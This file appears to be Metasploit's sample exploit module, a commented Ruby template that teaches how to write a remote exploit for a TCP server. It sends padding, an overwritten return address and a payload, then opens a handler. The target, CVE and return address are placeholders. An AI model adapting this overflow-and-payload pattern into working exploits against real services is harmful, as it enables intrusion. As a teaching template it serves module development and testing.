101 lines
2.9 KiB
Ruby
101 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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###
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#
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# This exploit sample shows how an exploit module could be written to exploit
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# a bug in an arbitrary TCP server.
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#
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###
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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#
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# This exploit affects TCP servers, so we use the TCP client mixin.
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# See ./documentation/samples/vulnapps/testsrv/testsrv.c for building the
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# vulnerable target program.
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#
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(
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update_info(
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info,
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# The Name should be just like the line of a Git commit - software name,
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# vuln type, class. Preferably apply
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# some search optimization so people can actually find the module.
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# We encourage consistency between module name and file name.
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'Name' => 'Sample Exploit',
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'Description' => %q{
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This exploit module illustrates how a vulnerability could be exploited
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in an TCP server that has a parsing bug.
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},
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'License' => MSF_LICENSE,
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'Author' => ['skape'],
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'References' => [
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[ 'OSVDB', '12345' ],
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[ 'EDB', '12345' ],
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[ 'URL', 'http://www.example.com'],
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[ 'CVE', '1978-1234']
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],
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'Payload' => {
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'Space' => 1000,
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'BadChars' => "\x00"
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},
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'Targets' => [
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# Target 0: Windows All
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[
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'Windows XP/Vista/7/8',
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{
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'Platform' => 'win',
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'Ret' => 0x41424344
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}
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]
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],
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'DisclosureDate' => '2020-12-30',
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# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
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# It's generally easiest just to put the default at the beginning of the list and skip this
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# entirely.
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'DefaultTarget' => 0,
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# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
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'Notes' => {
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'Stability' => [],
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'Reliability' => [],
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'SideEffects' => []
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}
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)
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)
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end
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#
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# The sample exploit just indicates that the remote host is always
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# vulnerable.
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#
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def check
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CheckCode::Vulnerable
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end
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#
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# The exploit method connects to the remote service and sends 1024 random bytes
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# followed by the fake return address and then the payload.
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#
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def exploit
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connect
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print_status("Sending #{payload.encoded.length} byte payload...")
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# Build the buffer for transmission
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buf = rand_text_alpha(1024)
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buf << [ target.ret ].pack('V')
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buf << payload.encoded
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# Send it off
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sock.put(buf)
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sock.get_once
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handler
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end
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end
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